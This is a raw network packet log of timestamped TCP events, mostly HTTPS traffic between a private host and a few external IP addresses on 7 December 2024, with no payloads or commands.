Dec 7, 2024 00:15:33.339406013 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.339587927 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.340080976 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.340095043 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.343195915 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.343234062 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.343332052 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.343507051 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.343521118 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.479410887 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.479476929 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.479567051 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.481472969 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.481533051 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.481596947 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.497947931 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.497970104 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.499365091 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.499372005 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.570151091 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.570220947 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.570319891 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.590405941 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.590415001 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.590425014 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.590430021 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.596021891 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.596066952 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.596146107 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.597172976 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.597188950 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.611854076 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.611887932 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.611973047 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.615796089 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.615813017 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.686877012 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.686914921 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.687027931 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.756160021 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.756177902 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.990797043 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.991756916 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.991786003 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.992815018 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.992825985 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:34.428284883 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:34.428368092 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:34.428422928 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:34.428637981 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:34.428658962 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:34.428673983 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:34.428680897 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:34.432801962 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:34.432832956 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:34.432921886 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:34.433142900 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:34.433163881 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.077250004 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.078061104 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.078082085 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.078560114 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.078566074 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.160600901 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:35.160634041 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:35.160751104 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:35.161349058 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:35.161362886 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:35.337244034 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.337809086 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.337821007 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.338325024 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.338330030 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.365257025 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.367573023 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.367598057 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.368190050 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.368196011 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.516407013 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.516465902 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.516712904 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.516969919 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.516988039 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.517002106 CET	49784	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.517007113 CET	443	49784	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.520076990 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.520106077 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.520186901 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.520396948 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.520409107 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.537416935 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.538089991 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.538113117 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.538613081 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.538619995 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.772360086 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.772418022 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.772485971 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.772773981 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.772798061 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.772825003 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.772830963 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.776066065 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.776102066 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.776161909 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.776376009 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.776403904 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.802227974 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.802308083 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.802454948 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.802486897 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.802499056 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.802519083 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.802520990 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.805241108 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.805257082 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.805315971 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.805502892 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.805515051 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.976612091 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.976696014 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.976754904 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.977009058 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.977034092 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.977045059 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.977050066 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.989675999 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.989703894 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:35.989778042 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.989958048 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:35.989975929 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.153573036 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.154201984 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.154221058 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.154786110 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.154791117 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.266066074 CET	80	49768	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:36.266123056 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:36.590953112 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.591032028 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.591136932 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.629847050 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.629874945 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.629889965 CET	49788	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.629897118 CET	443	49788	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.670129061 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.670175076 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:36.670228958 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.671195030 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:36.671207905 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.257746935 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.258541107 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.258563995 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.259337902 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.259342909 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.424104929 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:37.424173117 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:37.427196026 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:37.427211046 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:37.427448988 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:37.429244995 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:37.429312944 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:37.429318905 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:37.429467916 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:37.471338034 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:37.504851103 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.505348921 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.505371094 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.505930901 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.505937099 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.597450018 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.597908974 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.597944975 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.598560095 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.598568916 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.694093943 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.694154024 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.694199085 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.694391012 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.694413900 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.694427013 CET	49790	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.694432020 CET	443	49790	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.698057890 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.698082924 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.698143959 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.698321104 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.698331118 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.727180958 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.727699995 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.727715015 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.728646994 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.728653908 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.753632069 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.753648043 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:37.753707886 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.755563021 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.755594015 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:37.755654097 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.755686998 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.755693913 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:37.755737066 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.763690948 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.763701916 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:37.763811111 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.763829947 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:37.765571117 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:37.765582085 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:37.943197012 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.943267107 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.943320036 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.943607092 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.943624973 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.943635941 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.943641901 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.946388960 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.946424961 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.946485043 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.946666002 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:37.946677923 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:37.973428965 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:37.973507881 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:37.973560095 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:37.973776102 CET	49789	443	192.168.2.6	20.198.119.143
Dec 7, 2024 00:15:37.973793030 CET	443	49789	20.198.119.143	192.168.2.6
Dec 7, 2024 00:15:38.035069942 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.035145998 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.035190105 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.035430908 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.035451889 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.038389921 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.038422108 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.038491011 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.038649082 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.038660049 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.164335012 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.164427996 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.164479971 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.164705992 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.164705992 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.164722919 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.164736986 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.167793036 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.167834997 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.167907953 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.168251038 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.168260098 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.390669107 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.394162893 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.394197941 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.396697998 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.396704912 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.828341961 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.828409910 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.828701973 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.828701973 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.828753948 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.828772068 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.831852913 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.831898928 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:38.831988096 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.832261086 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:38.832273960 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.419801950 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.420358896 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:39.420380116 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.421003103 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:39.421008110 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.522206068 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:39.522288084 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:39.526088953 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:39.526169062 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:39.528429985 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:39.528495073 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:39.665735006 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.679063082 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:39.679080009 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.679579020 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:39.679584026 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.758454084 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.759726048 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:39.759763956 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.760636091 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:39.760643005 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.763912916 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:39.763932943 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:39.764275074 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:39.764336109 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:39.856779099 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.856836081 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.856909037 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:39.892687082 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:39.948872089 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.025191069 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.025223017 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.028711081 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.028726101 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.029495001 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.029515028 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.095778942 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.095819950 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.095884085 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.096832991 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.096849918 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.105976105 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.106060982 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.106112003 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.106467962 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.106486082 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.106497049 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.106503010 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.112960100 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.112993956 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.113056898 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.114422083 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.114433050 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.158643961 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:40.158678055 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:40.159007072 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:40.159055948 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:40.192646980 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.192725897 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.192783117 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.193156958 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.193175077 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.193186998 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.193192005 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.197786093 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.197809935 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.197877884 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.198352098 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.198364019 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.207981110 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:40.208009958 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:40.208338976 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:40.208405972 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:40.345458984 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.345530987 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.345587015 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.345983982 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.346009970 CET	443	49802	13.107.246.63	192.168.2.6
